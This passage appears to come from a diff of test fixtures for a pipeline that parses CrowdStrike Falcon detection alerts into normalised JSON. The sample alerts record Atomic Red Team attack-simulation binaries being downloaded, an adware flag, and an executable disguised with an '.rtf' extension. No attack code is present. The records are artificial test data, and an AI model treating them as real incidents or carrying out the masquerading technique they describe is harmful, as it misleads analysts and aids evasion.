Utilities - Host\\rfusclient.exe", - "name": "rfusclient.exe", - "parent": { - "entity_id": "25841449898", - "executable": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe", - "name": "rutserv.exe" - }, - "start": "2024-06-10T15:18:35.000Z", - "uptime": 0 - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976", - "848a53dc549be0386e5da0f49700c389" - ], - "hosts": [ - "DESKTOP1111" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "USER11111" - ] - }, - "rule": { - "description": "This file is classified as Adware/PUP based on its SHA256 hash.", - "name": "NGAV" - }, - "source": { - "address": "81.2.69.144", - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.144" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "USER11111" - } - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111", - "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999", - "FilesWritten": [ - { - "FileName": "test_upx_header_changed", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "test_upx", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "CreateProcessWithPipe.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "T1055.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "msys-2.0.dll", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "calc.dll", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "T1055.011_x64.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "EtwpCreateEtwThread.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "CreateProcess.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "T1036.003.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - } - ], - "GrandparentCommandLine": "/usr/sbin/sshd -D -R", - "GrandparentImageFileName": "sshd", - "GrandparentImageFilePath": "/usr/sbin/sshd", - "HostGroups": [ - "44be50f58ccfcfcfcfcfcfcfcffc" - ], - "MACAddress": "02-42-d8-66-fe-03", - "Objective": "Falcon Detection Method", - "ParentCommandLine": "-bash", - "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": true, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": true, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 272, - "PatternId": 30115, - "SensorId": "c8d1292a8a904216aa25ab728f4b45fd", - "Severity": 70, - "SeverityName": "High", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Malware", - "Technique": "Malicious File", - "Type": "ldt" - }, - "device": { - "id": "c8d1292a8a904216aa25ab728f4b45fd" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "severity": 73, - "type": [ - "info" - ] - }, - "file": { - "directory": "/usr/bin", - "hash": { - "md5": "675853ca01ec441df7a015b91a7e1272", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc" - }, - "name": "git", - "path": "/usr/bin/git" - }, - "host": { - "hostname": "linux-vm", - "mac": [ - "02-42-D8-66-FE-03" - ], - "name": "linux-vm" - }, - "message": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.", - "process": { - "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git", - "end": "1970-01-01T00:00:00.000Z", - "entity_id": "1719309930613520072", - "executable": "/usr/bin/git", - "name": "git", - "parent": { - "entity_id": "1719308637781199091", - "executable": "/usr/bin/bash", - "name": "bash" - }, - "start": "2024-06-25T10:05:30.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc", - "675853ca01ec441df7a015b91a7e1272" - ], - "hosts": [ - "linux-vm" - ], - "ip": [ - "172.17.0.1" - ], - "user": [ - "azureuser" - ] - }, - "rule": { - "description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.", - "name": "Known Malware" - }, - "source": { - "address": "172.17.0.1", - "ip": "172.17.0.1" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "azureuser" - } - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "CompositeId": "7da61e27e34f4b8394081896af72e2c7", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections", - "HostGroups": [ - "2a5927e82d644aa9", - "be74ccf2c2f444cf900" - ], - "MACAddress": "88-44-66-77-11-22", - "Objective": "Falcon Detection Method", - "SensorId": "1122025ec596478d830520000000000", - "Severity": 70, - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Machine Learning", - "Technique": "Sensor-based ML", - "Type": "ods" - }, - "device": { - "id": "1122025ec596478d830520000000000" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"Hostname\":\"FRHOSTNAME\",\"Name\":\"OnDemandScanfiletest\",\"Severity\":70,\"FileName\":\"testfile.vmx\",\"FilePath\":\"D:\\\\RECYCLER\\\\testpath\\\\testfile.vmx\",\"SHA256String\":\"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections\",\"AgentId\":\"1122025ec596478d830520000000000\",\"CompositeId\":\"7da61e27e34f4b8394081896af72e2c7\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"88-44-66-77-11-22\",\"Tactic\":\"Machine Learning\",\"Technique\":\"Sensor-based ML\",\"Objective\":\"Falcon Detection Method\",\"HostGroups\":\"2a5927e82d644aa9,be74ccf2c2f444cf900\",\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"Type\":\"ods\",\"LocalIPv6\":\"\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "type": [ - "info" - ] - }, - "file": { - "directory": "D:\\RECYCLER\\testpath", - "drive_letter": "D", - "hash": { - "sha256": "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1" - }, - "name": "testfile.vmx", - "path": "D:\\RECYCLER\\testpath\\testfile.vmx" - }, - "host": { - "hostname": "FRHOSTNAME", - "mac": [ - "88-44-66-77-11-22" - ], - "name": "FRHOSTNAME" - }, - "process": { - "executable": "D:\\RECYCLER\\testpath\\testfile.vmx", - "name": "D:\\RECYCLER\\testpath\\testfile.vmx" - }, - "related": { - "hash": [ - "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1" - ], - "hosts": [ - "FRHOSTNAME" - ], - "ip": [ - "81.2.69.144" - ] - }, - "rule": { - "name": "OnDemandScanfiletest" - }, - "source": { - "address": "81.2.69.144", - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.144" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111", - "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999", - "FilesWritten": [ - { - "FileName": "test_upx_header_changed", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "test_upx", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "CreateProcessWithPipe.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "T1055.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "msys-2.0.dll", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "calc.dll", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "T1055.011_x64.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "EtwpCreateEtwThread.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "CreateProcess.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", - "Timestamp": "2024-06-25T10:06:06.000Z" - }, - { - "FileName": "T1036.003.exe", - "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/", - "Timestamp": "2024-06-25T10:06:06.000Z" - } - ], - "GrandparentCommandLine": "/usr/sbin/sshd -D -R", - "GrandparentImageFileName": "sshd", - "GrandparentImageFilePath": "/usr/sbin/sshd", - "HostGroups": [ - "44be50f58ccfcfcfcfcfcfcfcffc" - ], - "LocalIPv6": "2a02:cf40::", - "MACAddress": "02-42-d8-66-fe-03", - "Objective": "Falcon Detection Method", - "ParentCommandLine": "-bash", - "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": true, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": true, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 272, - "PatternId": 30115, - "SensorId": "c8d1292a8a904216aa25ab728f4b45fd", - "Severity": 70, - "SeverityName": "High", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Malware", - "Technique": "Malicious File", - "Type": "ldt" - }, - "device": { - "id": "c8d1292a8a904216aa25ab728f4b45fd" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"2a02:cf40::\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "severity": 73, - "type": [ - "info" - ] - }, - "file": { - "directory": "/usr/bin", - "hash": { - "md5": "675853ca01ec441df7a015b91a7e1272", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc" - }, - "name": "git", - "path": "/usr/bin/git" - }, - "host": { - "hostname": "linux-vm", - "mac": [ - "02-42-D8-66-FE-03" - ], - "name": "linux-vm" - }, - "message": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.", - "process": { - "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git", - "end": "1970-01-01T00:00:00.000Z", - "entity_id": "1719309930613520072", - "executable": "/usr/bin/git", - "name": "git", - "parent": { - "entity_id": "1719308637781199091", - "executable": "/usr/bin/bash", - "name": "bash" - }, - "start": "2024-06-25T10:05:30.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc", - "675853ca01ec441df7a015b91a7e1272" - ], - "hosts": [ - "linux-vm" - ], - "ip": [ - "172.17.0.1" - ], - "user": [ - "azureuser" - ] - }, - "rule": { - "description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.", - "name": "Known Malware" - }, - "source": { - "address": "172.17.0.1", - "ip": "172.17.0.1" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "azureuser" - } - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "AggregateId": "aggind:4ebcabee560d4345b025d6c732656ba9:1237323", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "GrandparentCommandLine": "sshd:devuser@pts/0", - "GrandparentImageFileName": "sshd", - "GrandparentImageFilePath": "/usr/sbin/sshd", - "MACAddress": "42-01-0a-80-00-18", - "Objective": "KeepAccess", - "ParentCommandLine": "-bash", - "PatternDispositionDescription": "Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": true, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": true, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 272, - "PatternId": 145, - "PlatformId": "3", - "PlatformName": "Linux", - "SensorId": "4ebcabee560d4345b025d6c732656ba9", - "Severity": 50, - "SeverityName": "Medium", - "SourceProducts": "FalconInsight", - "SourceVendors": "CrowdStrike", - "Tactic": "DefenseEvasion", - "Technique": "Masquerading", - "Type": "ldt" - }, - "device": { - "id": "4ebcabee560d4345b025d6c732656ba9" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"AgentId\":\"4ebcabee560d4345b025d6c732656ba9\",\"AggregateId\":\"aggind:4ebcabee560d4345b025d6c732656ba9:1237323\",\"CommandLine\":\"./whoami.rtf\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048\",\"DataDomains\":\"Endpoint\",\"Description\":\"Anexecutablewasrunwithacontradictingfileextension\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"whoami.rtf\",\"FilePath\":\"/home/devuser/whoami.rtf\",\"GrandParentCommandLine\":\"sshd:devuser@pts/0\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"Hostname\":\"navnit-test-instance\",\"LocalIP\":\"10.128.0.24\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"42-01-0a-80-00-18\",\"MD5String\":\"3e4129c7bb0c01793aa9ecad38ccb4d0\",\"Name\":\"SuspiciousActivity\",\"Objective\":\"KeepAccess\",\"ParentCommandLine\":\"-bash\",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1753351172854337800,\"PatternDispositionDescription\":\"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":true,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":272,\"PatternId\":145,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1753352263,\"ProcessId\":1753352263802791400,\"ProcessStartTime\":1753352263,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"FalconInsight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Masquerading\",\"Type\":\"ldt\",\"UserName\":\"devuser\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "severity": 47, - "type": [ - "info" - ] - }, - "file": { - "directory": "/home/devuser", - "hash": { - "md5": "3e4129c7bb0c01793aa9ecad38ccb4d0", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490" - }, - "name": "whoami.rtf", - "path": "/home/devuser/whoami.rtf" - }, - "host": { - "hostname": "navnit-test-instance", - "mac": [ - "42-01-0A-80-00-18" - ], - "name": "navnit-test-instance" - }, - "message": "Anexecutablewasrunwithacontradictingfileextension", - "process": { - "command_line": "./whoami.rtf", - "end": "2025-07-24T10:17:43.000Z", - "entity_id": "1753352263802791400", - "executable": "/home/devuser/whoami.rtf", - "name": "whoami.rtf", - "parent": { - "entity_id": "1753351172854337800", - "executable": "/usr/bin/bash", - "name": "bash" - }, - "start": "2025-07-24T10:17:43.000Z", - "uptime": 0 - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490", - "3e4129c7bb0c01793aa9ecad38ccb4d0" - ], - "hosts": [ - "navnit-test-instance" - ], - 